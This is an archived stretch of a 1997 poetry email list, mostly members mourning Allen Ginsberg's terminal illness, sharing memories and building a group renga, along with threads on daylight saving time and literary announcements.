> *I would imagine everyone reading this will have the same intense reaction I am having. It seems like Allen Ginsberg has been with me all my life.*

↑ Index

61. William Burmeister Prod

Re: Ah

Fri 4 Apr 1997

> *John Cage is great too on the Roratorio CD reading his mesostic version of _Finnegan's Wake_ with an Irish accent.*
> *Yes, it's available on CD from Mode and from Wergo (though I strongly recommend the Mode double-CD which has the complete spoken track on its own (the Wergo, I believe, contains one section) as well as a long recorded interview and two very thick booklets, one of which contains the complete mesostic.*

Does the Mode double-CD version have the complete spoken 120 page version of the writing through the wake? In the Wergo version, there is a 14 minute solo for the 40 page reduction, the same one that he reads in the hour-long hor-spiel (Writing through the wake for the second time).

Bill B.

↑ Index

62. KENT JOHNSON

Re: Allen Ginsberg's death

Fri 4 Apr 1997

On April 4 Dan Zimmerman said:

> *Singing "Father Death" & Blake's Songs, Allen's left more life than death can take away. Don't feel bad, Kent. He brushed me off once, after I read*

> *a few poems at the WCW festival in Paterson, as "very intelligent." No blame. Om Kavaye Namah. [Honor to the Great Poet.]*
>
> *Dan*

Dan:

I'm not trying to be smart, but when you say that Allen left more life than death can take away, it sounds like you might really be scared.

Kent

↑ Index

63. KENT JOHNSON
Re: Allen Ginsberg
Fri 4 Apr 1997

> *Date sent: Fri, 4 Apr 1997 21:36:36 -0600*
> *Send reply to: UB Poetics discussion group <[redacted]>*
> *From: Maria Damon <[redacted]>*
> *Subject: Re: Allen Ginsberg*
> *To: [redacted]*
>
> *At 7:19 PM -0700 4/4/97, Jeffrey W. Timmons wrote:*
> *On Fri, 4 Apr 1997, Maria Damon (Maria Damon) wrote:*
>
> *shall we write a group poem/renga/range of affection for allen ginsberg?*
>
> *yes.*
>
> *okay, somebody else start please, and can we not talk about him as if he's already dead please.*

As if that would be a terrible thing? Oh, awful death. Let us not, for it is not to be spoken of. Now since death is so pornographic, what will be the first line of this renga?

ketn>

↑ Index

64. KENT JOHNSON
Re: Allen Ginsberg
Fri 4 Apr 1997

> *Date sent: Fri, 4 Apr 1997 22:53:26 -0800*
> *Send reply to: UB Poetics discussion group <[redacted]>*
> *From: Daniel Zimmerman <[redacted]>*

> *Subject: Re: Allen Ginsberg*
> *To: [redacted]*
>
> *KENT JOHNSON wrote:*
>
> *Date sent: Fri, 4 Apr 1997 21:36:36 -0600*
> *Send reply to: UB Poetics discussion group <[redacted]>*
> *From: Maria Damon <[redacted]>*
> *Subject: Re: Allen Ginsberg*
> *To: [redacted]*
>
> *At 7:19 PM -0700 4/4/97, Jeffrey W. Timmons wrote:*
> *On Fri, 4 Apr 1997, Maria Damon (Maria Damon) wrote:*
>
> *shall we write a group poem/renga/range of affection for allen ginsberg?*
>
> *yes.*
>
> *okay, somebody else start please, and can we not talk about him as if he's already dead please.*
>
> *As if that would be a terrible thing? Oh, awful death. Let us not,*
> *for it is not to be spoken of. Now since death is so pornographic,*
> *what will be the first line of this renga?*
>
> *ketn>*
>
> *pull my daisy, poet*

Happening to notice the willow leaves in the garden, a braille page of words

↑ Index

65. KENT JOHNSON
Re: Allen Ginsberg
Fri 4 Apr 1997

> *Date sent: Fri, 4 Apr 1997 23:10:59 -0800*
> *Send reply to: UB Poetics discussion group <[redacted]>*
> *From: Daniel Zimmerman <[redacted]>*
> *Subject: Re: Allen Ginsberg*
> *To: [redacted]*
>
> *KENT JOHNSON wrote:*
>
> *Date sent: Fri, 4 Apr 1997 22:53:26 -0800*
> *Send reply to: UB Poetics discussion group <[redacted]>*
> *From: Daniel Zimmerman <[redacted]>*
> *Subject: Re: Allen Ginsberg*
> *To: [redacted]*

> *KENT JOHNSON wrote:*
>
> *Date sent: Fri, 4 Apr 1997 21:36:36 -0600*
> *Send reply to: UB Poetics discussion group <[redacted]>*
> *From: Maria Damon <[redacted]>*
> *Subject: Re: Allen Ginsberg*
> *To: [redacted]*
>
> *At 7:19 PM -0700 4/4/97, Jeffrey W. Timmons wrote:*
> *On Fri, 4 Apr 1997, Maria Damon (Maria Damon) wrote:*
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> *shall we write a group poem/renga/range of affection for allen ginsberg?*
>
> *yes.*
>
> *okay, somebody else start please, and can we not talk about him as if he's already dead please.*
>
> *As if that would be a terrible thing? Oh, awful death. Let us not,*
> *for it is not to be spoken of. Now since death is so pornographic,*
> *what will be the first line of this renga?*
>
> *ketn>*
>
> *pull my daisy, poet*
>
> *Happening to notice the willow leaves in the garden, a braille page*
> *of words*
>
> *the wind a simultaneous translation*

the sorority girls sing of fucking in a plaintive way>

↑ Index

66. KENT JOHNSON
Re: Allen Ginsberg
Fri 4 Apr 1997

> *Date sent: Fri, 4 Apr 1997 23:18:47 -0500*
> *Send reply to: UB Poetics discussion group <[redacted]>*
> *From: Alan Jen Sondheim <[redacted]>*
> *Subject: Re: Allen Ginsberg*
> *To: [redacted]*
>
> *pull my daisy, poet*
> *Happening to notice the willow leaves in the garden, a braille page*
> *of words*

> *the wind a simultaneous translation*
> *the sorority girls sing of fucking in a plaintive way*
> *nothing has happened, no one has died*

beside a bowl smelling of old cat's milk, Jeniffer weeps>

↑ Index

67. KENT JOHNSON
renga
Fri 4 Apr 1997

can one take back something in cyber-renga? for example,
in the line "beside an old bowl smelling of cat's milk,
Jenniffer weeps," the 'smelling' is unnecessary.

Or is it too late?
kent

↑ Index

68. Charles Bernstein
Allen Ginsberg
Fri 4 Apr 1997

Allen Ginsberg has been diagnosed with liver cancer and is not given much more time to live. There are articles about his illness in today's New York Post and Philadelphia Inquirer.

I would imagine everyone reading this will have the same intense reaction I am having. It seems like Allen Ginsberg has been with me all my life.

↑ Index

69. KENT JOHNSON
Re: renga
Fri 4 Apr 1997

> *Date sent: Fri, 4 Apr 1997 23:55:16 -0500*
> *Send reply to: UB Poetics discussion group <[redacted]>*
> *From: Alan Jen Sondheim <[redacted]>*
> *Subject: Re: renga*
> *To: [redacted]*

yes, Alan is Allen, allen is fissured, everyone is restarted, Jennifer rewritten. Alan is dying, everything is fluid, death is uninscribed, renga is rewritten. death is verboten, perhaps the beginning, point should be fucking,none should be fissured. all should be dying, ginsberg is watching, where should we start, where should we come to, whale meat is rotting, children are cavorting. I mean (guy

who can't, trying to rap) on a beach where children play baseball and whales are rotting.

> Perhaps the beginnings at this point should be rewritten, restarted; > everything is fluid here, fissured, uninscribed -
>
> Alan
>
> On Fri, 4 Apr 1997, KENT JOHNSON wrote:
>
> > can one take back something in cyber-renga? for example,
> > in the line "beside an old bowl smelling of cat's milk,
> > Jenniffer weeps," the 'smelling' is unnecessary.
> >
> > Or is it too late?
> > kent
> >
>
> _____
> URL: http://jefferson.village.virginia.edu/~spoons/internet_txt.html
> MIRROR: http://www.anu.edu.au/english/internet_txt/ ++++++++++++++++
> IMAGES: http://www.cs.unca.edu/~davidson/pix/ TELEPHONE [redacted]
> CUSEEME: 166.84.250.149 ++++++ Editor, BEING ON LINE, Lusitania, 1997
>

↑ Index

70. Jean Day

Re: POETICS Digest - 2 Apr 1997 to 3 Apr 1997

Fri 4 Apr 1997

Charles,

Xenos is Lyn Hejinian and Travis Ortiz's new series--THE LITERAL WORLD is imminent, as is another new one from Barrett Watten, part or all of BAD HISTORY, I think. These are the first two; many others are in the works--maybe I can get Lyn to post the prospectus or get hold of it and post it myself.

Cheers,

Jean

> *mine*
> *THE LITERAL WORLD from Xenos.*

> *Jean*
>
> *Tell me more about Xenos. What other books? etc.*
>
> *charles*
>
> *charles alexander / chax press /* [redacted]

↑ Index

71. Alan Jen Sondheim
Re: Allen Ginsberg
Fri 4 Apr 1997

The Daily News said 4 months to a year.

If it wasn't for Howl, I would have broken down in Pennsyvania; it was my first epiphany. I found it at a local bookshop when it first came out; I was around 13 at the time and already depressive.

Alan

On Fri, 4 Apr 1997, Charles Bernstein wrote:

> *Allen Ginsberg has been diagnosed with liver cancer and is not given much more time to live. There are articles about his illness in today's New York Post and Philadelphia Inquirer.*
>
> *I would imagine everyone reading this will have the same intense reaction I am having. It seems like Allen Ginsberg has been with me all my life.*

_____ URL: http://jefferson.village.virginia.edu/~spoons/internet_txt.html MIRROR: http://www.anu.edu.au/english/internet_txt/ +++++++++++++++++ IMAGES: http://www.cs.unca.edu/~davidson/pix/ TELEPHONE [redacted] CUSEEME: 166.84.250.149 +++++ Editor, BEING ON LINE, Lusitania, 1997

↑ Index

72. Joe Safdie
Re: Time Change
Fri 4 Apr 1997

On Fri, 4 Apr 1997, Bill Luoma/Notes1/Vanstar wrote:

> This Sunday, 4/6/97, at 2:00 A.M., most of the country will be moving their
> clocks ahead one hour in observance of daylight savings time. Since
> Indianapolis does not change their clocks, for the next six months they will be

> in the Central Time Zone.
>
Congratulations to the citizens of Indianapolis for resisting the artificial, mechanical construction of "daylight savings" -- it's all done for business interests -- (though this is the "good" pole, when we're all supposed to be happy for the "extra" daylight) --

(and are)

↑ Index

73. **Steven Marks**
Re: Allen Ginsberg
Fri 4 Apr 1997

I was about 13, too, when I first heard of Allen Ginsberg from my 7th-grade English teacher who clandestinely read us the beginning of Howl. All I remember was that it wasn't the sing-songy verse we were usually fed. I also remember wondering why our English teacher was being so secretive. This was in 1965 or 1966. Now I know why and now I also know that things haven't changed nearly enough.

sadly,
Steven

Steven Marks

http://members.aol.com/swmarks/welcome.html

↑ Index

74. **dbkk**
Re: Time Change
Fri 4 Apr 1997

At 12:26 PM -0800 4/4/97, Joe Safdie wrote:

> *Congratulations to the citizens of Indianapolis for resisting the artificial, mechanical construction of "daylight savings" -- it's all done for business interests -- (though this is the "good" pole, when we're all supposed to be happy for the "extra" daylight) --*

Actually I think it's done for people who have cats. I'm really looking forward to daylight savings time so Blanche and Stanley will quit trying to wake me up at 6:30 in the morning to feed them.

Dodie

↑ Index

75. Jordan Davis
Remindah
Fri 4 Apr 1997

Ourrr
reading tonight featuring starrr
viol d'Ingrrrres
types Kenneth Goldsmith and Carrrrrl
Watson is at 7 pm and will featurrrrre
morrrre
rrrr
sounds than you may have known you could hearrrr

at Poetry City in the offices of Teachers & Writers
5 Union Szquare Weszt Szeventh Flooah
New Yorrrrk New Yorrrrrrrk

↑ Index

76. Don Cheney
Allen Ginsberg
Fri 4 Apr 1997

---

i've never met allen ginsberg but i was within arms reach of him one late afternoon many years ago. stephen rodefer was having allen talk about jack kerouac for one of his ucsd literature classes and invited me to drop in. i remember walking to the lecture hall and allen was walking in front of me amidst a small crowd of people trying to get through the door. and i remember he was wearing this dopey dark blue polyester sport coat and i remember that nobody seemed to notice him really and i had the urge to tap him on the shoulder and say "what's up with this ginsberg goofball anyway?" but i didn't and obviously i've regretted it over all these years. and i've regretted it because i've come to understand what a large and open sense of humor he has.

==========
Don Cheney San Diego, CA, USA
http://www.geocities.com/Paris/5791
[redacted]
==========

↑ Index

77. Charles Alexander
Re: Time Change
Fri 4 Apr 1997

The state of Arizona doesn't change either. So part of the year we're on mountain time, part on Pacific time. I suppose that means we're getting ready to be on Pacific time again. I can't say that it's either an advantage or a disadvantage. In the summer here I'd really rather have the cooler nights come sooner, not later.

charles

At 12:26 PM 4/4/97 -0800, you wrote:
>On Fri, 4 Apr 1997, Bill Luoma/Notes1/Vanstar wrote:
>
>> This Sunday, 4/6/97, at 2:00 A.M., most of the country will be moving their
>> clocks ahead one hour in observance of daylight savings time. Since
>> Indianapolis does not change their clocks, for the next six months they
will be
>> in the Central Time Zone.
>>
>Congratulations to the citizens of Indianapolis for resisting the
>artificial, mechanical construction of "daylight savings" -- it's
>all done for business interests -- (though this is the "good" pole,
>when we're all supposed to be happy for the "extra" daylight) --
>
>(and are)
>
>
charles alexander / chax press / [redacted]

↑ Index

78. Christopher Reiner
Witz
Fri 4 Apr 1997

Announcing:

WITZ: A Journal of Contemporary Poetics

Spring 1997

Volume Five, Number 1

Stephen Ratcliffe on Larry Eigner

William Marsh on Hypertexts

Susan M. Schultz and Dan Featherston on Bob Perelman

Kasey Cummings and Carl Peters on Rae Armantrout

Susan Smith Nash on Susan Gevirtz

Tod Thilleman on Kenneth Bernard

(38 pages, 5" x 8-1/2")

$4/copy or $10/individual subscription (3 issues) to

WITZ
P.O. Box 40012
Studio City, California 91614

Please make checks payable to Christopher Reiner

And check out the Witz Archive at the EPC:
http://writing.upenn.edu/epc/ezines/witz/
for plain vanilla ascii versions of issues 1.1 to 4.1

↑ Index

79. Bill Luoma/Notes1/Vanstar
Time Change
Fri 4 Apr 1997

This Sunday, 4/6/97, at 2:00 A.M., most of the country will be moving their clocks ahead one hour in observance of daylight savings time. Since Indianapolis does not change their clocks, for the next six months they will be in the Central Time Zone.

↑ Index

80. Stephen Cope
Re: Allen Ginsberg
Fri 4 Apr 1997

This is sad, tho expected, news. I've had dreams in the past of receiving such information, which I suppose says much about the depth to which he's entered my own consciousness. I've always found Allen, in my limited experience, to be among the most generous, open, encouraging, and dedicated members of the poetry community. A leader in so many ways...

God bless him...

↑ Index

81. Jeffrey W. Timmons
Re: Allen Ginsberg
Fri 4 Apr 1997

On Fri, 4 Apr 1997, Maria Damon (Maria Damon) wrote:

> *shall we write a group poem/renga/range of affection for allen ginsberg?*

yes.

↑ Index

82. Maria Damon
Re: Allen Ginsberg
Fri 4 Apr 1997

At 7:19 PM -0700 4/4/97, Jeffrey W. Timmons wrote:
>On Fri, 4 Apr 1997, Maria Damon (Maria Damon) wrote:
>
>> shall we write a group poem/renga/range of affection for allen ginsberg?
>
>yes.

okay, somebody else start please, and can we not talk about him as if he's already dead please.

↑ Index

83. Wendy Battin
Re: Allen Ginsberg
Fri 4 Apr 1997

On Fri, 4 Apr 1997, Alan Jen Sondheim wrote:
> The Daily News said 4 months to a year.
>
> If it wasn't for Howl, I would have broken down in Pennsyvania; it was my
> first epiphany. I found it at a local bookshop when it first came out; I
> was around 13 at the time and already depressive.

Ditto, except Delaware.

Wendy

↑ Index

84. Wendy Battin
Re: Allen Ginsberg
Fri 4 Apr 1997

On Fri, 4 Apr 1997, KENT JOHNSON wrote:
> for it is not to be spoken of. Now since death is so pornographic,
> what will be the first line of this renga?

Now, since death is so pornographic, where can they sell it?

↑ Index

85. Alan Jen Sondheim
Re: Allen Ginsberg
Fri 4 Apr 1997

---

pull my daisy, poet
Happening to notice the willow leaves in the garden, a braille page
of words
the wind a simultaneous translation
the sorority girls sing of fucking in a plaintive way
nothing has happened, no one has died

↑ Index

86. Alan Jen Sondheim
Re: Allen Ginsberg
Fri 4 Apr 1997

Is it necessary to quote with, to include post headers, to ignore other contributions?

Alan, bowing out

On Fri, 4 Apr 1997, Daniel Zimmerman wrote:

> *KENT JOHNSON wrote:*
>
> *Date sent: Fri, 4 Apr 1997 23:10:59 -0800*
> *Send reply to: UB Poetics discussion group <[redacted]>*
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> *Subject: Re: Allen Ginsberg*
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> *KENT JOHNSON wrote:*
>
> *Date sent: Fri, 4 Apr 1997 22:53:26 -0800*
> *Send reply to: UB Poetics discussion group <[redacted]>*
> *From: Daniel Zimmerman <[redacted]>*

> *Subject: Re: Allen Ginsberg*
> *To: [redacted]*
>
> *KENT JOHNSON wrote:*
>
> *Date sent: Fri, 4 Apr 1997 21:36:36 -0600*
> *Send reply to: UB Poetics discussion group <[redacted]>*
> *From: Maria Damon <[redacted]>*
> *Subject: Re: Allen Ginsberg*
> *To: [redacted]*
>
> *At 7:19 PM -0700 4/4/97, Jeffrey W. Timmons wrote:*
> *On Fri, 4 Apr 1997, Maria Damon (Maria Damon) wrote:*
>
> *shall we write a group poem/renga/range of affection for allen ginsberg?*
>
> *yes.*
>
> *okay, somebody else start please, and can we not talk about him as if he's already dead please.*
>
> *As if that would be a terrible thing? Oh, awful death. Let us not, for it is not to be spoken of. Now since death is so pornographic, what will be the first line of this renga?*
>
> *ketn>*
>
> *pull my daisy, poet*
>
> *Happening to notice the willow leaves in the garden, a braille page of words*
>
> *the wind a simultaneous translation*
>
> *the sorority girls sing of fucking in a plaintive way>*
>
> *brushed silk blouses darkening in the midday heat, dank hyacinths*

_____ URL: http://jefferson.village.virginia.edu/~spoons/internet_txt.html MIRROR: http://www.anu.edu.au/english/internet_txt/ +++++++++++++++++ IMAGES: http://www.cs.unca.edu/~davidson/pix/ TELEPHONE [redacted] CUSEEME: 166.84.250.149 +++++ Editor, BEING ON LINE, Lusitania, 1997

↑ Index

87. Mark Weiss
Re: Time Change
Fri 4 Apr 1997

But the Navajo reservation is on daylight savings time, probably as a way of emphasizing their sovereignty to the rest of Arizona.

At 03:22 PM 4/4/97 -0700, you wrote:
>The state of Arizona doesn't change either. So part of the year we're on
>mountain time, part on Pacific time. I suppose that means we're getting
>ready to be on Pacific time again. I can't say that it's either an
>advantage or a disadvantage. In the summer here I'd really rather have the
>cooler nights come sooner, not later.
>
>charles
>
>At 12:26 PM 4/4/97 -0800, you wrote:
>>On Fri, 4 Apr 1997, Bill Luoma/Notes1/Vanstar wrote:
>>
>>> This Sunday, 4/6/97, at 2:00 A.M., most of the country will be moving their
>>> clocks ahead one hour in observance of daylight savings time. Since
>>> Indianapolis does not change their clocks, for the next six months they
>will be
>>> in the Central Time Zone.
>>>
>>Congratulations to the citizens of Indianapolis for resisting the
>>artificial, mechanical construction of "daylight savings" -- it's
>>all done for business interests -- (though this is the "good" pole,
>>when we're all supposed to be happy for the "extra" daylight) --
>>
>>(and are)
>>
>>
>charles alexander / chax press / [redacted]
>
>

↑ Index

88. Alan Jen Sondheim
Form silliness
Fri 4 Apr 1997

About form -

If you send a reply by _forwarding_ instead of _replying,_ you can send back to poetics without the carets; if you also cut out the headers...

The renga that occurred I think about a year ago? got out of hand; we've all got a hand in; I remember caret-clipping, caretine poisoning, and Allen already has a bad liver...

Alan, sorry, grumpy

↑ Index

89. Alan Jen Sondheim
Re: renga
Fri 4 Apr 1997

Perhaps the beginnings at this point should be rewritten, restarted; everything is fluid here, fissured, uninscribed -

Alan

On Fri, 4 Apr 1997, KENT JOHNSON wrote:

> *can one take back something in cyber-renga? for example,*
> *in the line "beside an old bowl smelling of cat's milk,*
> *Jenniffer weeps," the 'smelling' is unnecessary.*
>
> *Or is it too late?*
> *kent*

_____ URL: http://jefferson.village.virginia.edu/~spoons/internet_txt.html MIRROR: http://www.anu.edu.au/english/internet_txt/ +++++++++++++++++ IMAGES: http://www.cs.unca.edu/~davidson/pix/ TELEPHONE [redacted] CUSEEME: 166.84.250.149 +++++ Editor, BEING ON LINE, Lusitania, 1997

↑ Index

90. Daniel Zimmerman
Re: Allen Ginsberg's death
Sat 5 Apr 1997

KENT JOHNSON wrote:
>
> Here is the great equalizer, it would seem. Language is slippery,
> pronouns are fuzzy, poetry is not poetry. But death? Death is death,
> and there it is, no experimental messing with it.
>
> I suspect Ginsberg would not want any sentimental sniffling. He's

> been talking about death for a long time. I remember at the Orono
> conference in--was it--'93? I approached Ginsberg after
> his reading there and introduced myself as the person who had edited
> the Buddhist anthology of contemporary American poets in which he
> prominently figured. I was sure he
> owuld be impressed, probably would embrace me warmly, since clearly
> this was the most important anthology to appear in post-war America,
> intro by Gary Snyder, numerous avant-garde poets along with big
> mainstreams, unknowns, etc. He had a red bandanna tied to four corners
> around his head, sipped deeply on a soda and said in a decidedly
> laconic way: Oh, so yu're the guy who did that... And then he turned
> and started talking to someone else.
>
> I felt hurt and felt resentlful for a good time after that--
> especially after riding back to the motel in the same van
> with him and he was yakkety yakketing with Marjorie Perloff and
> Jerome McGann and it was as if I was not there. Invisible. Look Allen,
> I have adored you, wanted to be like you, wondered what it would be
> like to walk down the street with you, read you out loud with my
> friends inthe bar, and all you can do after I edit a Buddhist
> anthology of poetry is treat me like shit.
>
> Did I think to myself: I wish you would die, motherfucker. (but no,
> no, I don't mean that,that's a wrong thing to feel, that's jsut my
> drunkenness, I'm not that kind of dperson...)
>
> And of course he will. And of course all of us will. The intensity
> comes out of the factness of death, doesn't it, like a beatnik on acid
> with beads, staring us in the face with all of his teeth? Now I
> realize death was probably teaching me a lesson, saying so what if
> you did so and so, you sorry idiot? No merit.
>
> So don't be sad. I'll bet Allen wouldn't want it that way. But then
> again, I could be worng. And only death will prove us all, in the end,
> immaculately right. Right?
>
> kent
>
> > Date sent: Fri, 4 Apr 1997 11:50:48 -0500
> > Send reply to: UB Poetics discussion group <[redacted]>
> > From: Charles Bernstein <[redacted]>
> > Subject: Allen Ginsberg

> > To: [redacted]
>
> > Allen Ginsberg has been diagnosed with liver cancer and is not given much
> > more time to live. There are articles about his illness in today's New York
> > Post and Philadelphia Inquirer.
> >
> > I would imagine everyone reading this will have the same intense reaction I
> > am having. It seems like Allen Ginsberg has been with me all my life.
> >

Singing "Father Death" & Blake's Songs, Allen's left more life than death can take away. Don't feel bad, Kent. He brushed me off once, after I read a few poems at the WCW festival in Paterson, as "very intelligent." No blame. Om Kavaye Namah. [Honor to the Great Poet.]

Dan

↑ Index

91. Aldon L. Nielsen

Re: elephant's memory

Sat 5 Apr 1997

I've been away from the list for a while -- but will say this --

I was once standing on my own several yards away from where Ginsberg was talking quietly with a group of admirers after a reading here in San Jose -- He saw me there alone, broke away from the group -- came over and asked how it was with me, did I write, what did I write, how did the community fare since his few San Jose days "In Back of the Real" --

There are few in my experience so generous with themselves as he has been -- any of us, I'm sure, might on occasion be distracted, brusque -- whatever -- Few have been such a tireless champion of the writing of others, even others he didn't know --

We had a wonderful short talk that night about poetry, about poets we knew, about local labor history --

the stars seemed more acute as we turned back toward the town

↑ Index

92. George Bowering
Re: Time Change
Sat 5 Apr 1997

> *This Sunday, 4/6/97, at 2:00 A.M., most of the country will be moving their clocks ahead one hour in observance of daylight savings time. Since Indianapolis does not change their clocks, for the next six months they will be*
> *in the Central Time Zone.*

Except the Pacers, who will be in the eastern conference.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

93. Daniel Zimmerman
Re: Allen Ginsberg's death
Sat 5 Apr 1997

KENT JOHNSON wrote:
>
> On April 4 Dan Zimmerman said:
>
> > Singing "Father Death" & Blake's Songs, Allen's left more life than death
> > can take away. Don't feel bad, Kent. He brushed me off once, after I read
> > a few poems at the WCW festival in Paterson, as "very intelligent." No
> > blame. Om Kavaye Namah. [Honor to the Great Poet.]
> >
> > Dan
> >
>
> Dan:
>
> I'm not trying to be smart, but when you say that Allen left more life
> than death can take away, it sounds like you might really be scared.
>
> Kent

Not scared, but struck by the sublime: that 18th century sense of the awe-ful or, as Blake says, who died singing of angels, the "terrific": "portions of eternity, too great for the eye of man." Scared of what?

Dan

↑ Index

94. Daniel Zimmerman

Re: Allen Ginsberg

Sat 5 Apr 1997

KENT JOHNSON wrote:
>
> > Date sent: Fri, 4 Apr 1997 21:36:36 -0600
> > Send reply to: UB Poetics discussion group <[redacted]>
> > From: Maria Damon <[redacted]>
> > Subject: Re: Allen Ginsberg
> > To: [redacted]
>
> > At 7:19 PM -0700 4/4/97, Jeffrey W. Timmons wrote:
> > >On Fri, 4 Apr 1997, Maria Damon (Maria Damon) wrote:
> > >
> > >> shall we write a group poem/renga/range of affection for allen gins-
berg?
> > >
> > >yes.
> >
> > okay, somebody else start please, and can we not talk about him as if he's
> > already dead please.
>
> As if that would be a terrible thing? Oh, awful death. Let us not,
> for it is not to be spoken of. Now since death is so pornographic,
> what will be the first line of this renga?
>
> ketn>

pull my daisy, poet

↑ Index

95. KENT JOHNSON
Re: Allen Ginsberg
Sat 5 Apr 1997

I didn't mean to offend. But I apologize, because the message was silly and unnecessary. I'm sitting here now, just having read Alan Sondheim's post. I feel really weird. Is anyone else out there crying too?

Kent

> *Date sent: Sat, 5 Apr 1997 12:19:34 -0600*
> *Send reply to: UB Poetics discussion group <[redacted]>*
> *From: Maria Damon <[redacted]>*
> *Subject: Re: Allen Ginsberg*
> *To: [redacted]*
>
> *KENT JOHNSON wrote:*
> *As if that would be a terrible thing? Oh, awful death. Let us not,*
> *for it is not to be spoken of. Now since death is so pornographic,*
> *what will be the first line of this renga?*
>
> *ketn>*
>
> *spare me your sarcasm, you don't know anything about my experiences with*
> *death or anything else for that matter.*

↑ Index

96. Daniel Zimmerman
Re: Allen Ginsberg
Sat 5 Apr 1997

KENT JOHNSON wrote:
>
> > Date sent: Fri, 4 Apr 1997 22:53:26 -0800
> > Send reply to: UB Poetics discussion group <[redacted]>
> > From: Daniel Zimmerman <[redacted]>
> > Subject: Re: Allen Ginsberg
> > To: [redacted]
>
> > KENT JOHNSON wrote:
> > >
> > > > Date sent: Fri, 4 Apr 1997 21:36:36 -0600
> > > > Send reply to: UB Poetics discussion group <[redacted]>
> > > > From: Maria Damon <[redacted]>
> > > > Subject: Re: Allen Ginsberg

> > > > To: [redacted]
> > >
> > > > At 7:19 PM -0700 4/4/97, Jeffrey W. Timmons wrote:
> > > > >On Fri, 4 Apr 1997, Maria Damon (Maria Damon) wrote:
> > > > >
> > > > >> shall we write a group poem/renga/range of affection for allen ginsberg?
> > > > >
> > > > >yes.
> > > >
> > > > okay, somebody else start please, and can we not talk about him as if he's
> > > > already dead please.
> > >
> > > As if that would be a terrible thing? Oh, awful death. Let us not,
> > > for it is not to be spoken of. Now since death is so pornographic,
> > > what will be the first line of this renga?
> > >
> > > ketn>
> >
> > pull my daisy, poet
>
> Happening to notice the willow leaves in the garden, a braille page
> of words

the wind a simultaneous translation

↑ Index

97. Daniel Zimmerman
Re: Allen Ginsberg
Sat 5 Apr 1997

KENT JOHNSON wrote:
>
> > Date sent: Fri, 4 Apr 1997 23:10:59 -0800
> > Send reply to: UB Poetics discussion group <[redacted]>
> > From: Daniel Zimmerman <[redacted]>
> > Subject: Re: Allen Ginsberg
> > To: [redacted]
>
> > KENT JOHNSON wrote:
> > >
> > > > Date sent: Fri, 4 Apr 1997 22:53:26 -0800

> > > > Send reply to: UB Poetics discussion group <[redacted]>
> > > > From: Daniel Zimmerman <[redacted]>
> > > > Subject: Re: Allen Ginsberg
> > > > To: [redacted]
> > >
> > > > KENT JOHNSON wrote:
> > > > >
> > > > > > Date sent: Fri, 4 Apr 1997 21:36:36 -0600
> > > > > > Send reply to: UB Poetics discussion group <[redacted]>
> > > > > > From: Maria Damon <[redacted]>
> > > > > > Subject: Re: Allen Ginsberg
> > > > > > To: [redacted]
> > > > >
> > > > > > At 7:19 PM -0700 4/4/97, Jeffrey W. Timmons wrote:
> > > > > > >On Fri, 4 Apr 1997, Maria Damon (Maria Damon) wrote:
> > > > > > >
> > > > > > >> shall we write a group poem/renga/range of affection for allen ginsberg?
> > > > > > >
> > > > > > >yes.
> > > > > > >
> > > > > > > okay, somebody else start please, and can we not talk about him as if he's
> > > > > > > already dead please.
> > > > > >
> > > > > As if that would be a terrible thing? Oh, awful death. Let us not,
> > > > > for it is not to be spoken of. Now since death is so pornographic,
> > > > > what will be the first line of this renga?
> > > > >
> > > > > ketn>
> > > >
> > > > pull my daisy, poet
> > >
> > > Happening to notice the willow leaves in the garden, a braille page
> > > of words
> >
> > the wind a simultaneous translation
>
> the sorority girls sing of fucking in a plaintive way>

brushed silk blouses darkening in the midday heat, dank hyacinths

↑ Index

98. **Daniel Zimmerman**

Re: renga

Sat 5 Apr 1997

KENT JOHNSON wrote:
>
> > Date sent: Fri, 4 Apr 1997 23:55:16 -0500
> > Send reply to: UB Poetics discussion group <[redacted]>
> > From: Alan Jen Sondheim <[redacted]>
> > Subject: Re: renga
> > To: [redacted]
>
> yes, Alan is Allen, allen is fissured, everyone is restarted,
> Jennifer rewritten. Alan is dying, everything is fluid, death is
> uninscribed, renga is rewritten. death is verboten, perhaps the
> beginning, point should be fucking,none should be fissured. all
> should be dying, ginsberg is watching, where should we start, where
> should we come to, whale meat is rotting, children are cavorting. I
> mean (guy who can't, trying to rap) on a beach where children play
> baseball and whales are rotting.
>
> > Perhaps the beginnings at this point should be rewritten,
> restarted; > everything is fluid here, fissured, uninscribed -
> >
> > Alan
> >
> > On Fri, 4 Apr 1997, KENT JOHNSON wrote:
> >
> > > can one take back something in cyber-renga? for example,
> > > in the line "beside an old bowl smelling of cat's milk,
> > > Jenniffer weeps," the 'smelling' is unnecessary.
> > >
> > > Or is it too late?
> > > kent
> > >
> >
> > _____
> > URL: http://jefferson.village.virginia.edu/~spoons/internet_txt.html
> > MIRROR: http://www.anu.edu.au/english/internet_txt/ ++++++++++++
++++
> > IMAGES: http://www.cs.unca.edu/~davidson/pix/ TELEPHONE [redacted]
> > CUSEEME: 166.84.250.149 +++++ Editor, BEING ON LINE, Lusitania,

1997
> >here's Howling at you, kid.

↑ Index

99. Rob Hardin
Visit Lou Stathis at the Columbia Presbyterian Hospital
Sat 5 Apr 1997

To all who know critic and editor Lou Stathis:

It is certainly sad that Ginsberg is dying--especially now, after he had just sold his papers for an amazing amount of money and would have lived out the rest of his days in long-deserved comfort. However, Ginsberg's place in history is secure and his visitors will be legion: I doubt he would benefit emotionally from receiving visits from blurred acquaintances like me. Given the relative consolations of G's notoreity, I must regretfully leave him to his myriad of friends, and mention a writer whom I'm hoping will not die unremembered and unattended. His name is Lou Stathis, and as an editor and benevolent presence, he has been a constant boon to innumerable struggling writers in NYC. In addition, he was a discerning critic and lip-smart writer who taught a generation of readers about alternative culture. Recently, he inherited (congenitally) a writer's worst fate: a brain-tumor which left him without the ability to read, write, or formulate intelligible sentences. Still-- beyond his language impasse, one can still sense Lou's intelligence and sensitivity--even in his gropings for words he can no longer reach. He is not expected to outlive Ginsberg, and I am asking anyone who has ever known Lou or enjoyed his writing to please visit him at the Columbia Presbyterian Hospital on 167th Street in New York City. Let him know that his work is important and that his life does matter. Today, when Darius James and I visited him, he was extremely weak and sad. Even so, he managed to say, "I'm still in here. It's still me. It's still me."

All best always,

Rob Hardin

requiescate in pace
aut emergate quandprimum

http://www.users.interport.net/~scrypt/
http://www.horrornet.com/hardin.htm

↑ Index

100. David Bromige
poem
Sat 5 Apr 1997

ALLEN GINSBERG

like David Bromige
Kent Johnson
Maria Damon
& Wayne Gretzsky

not dead yet

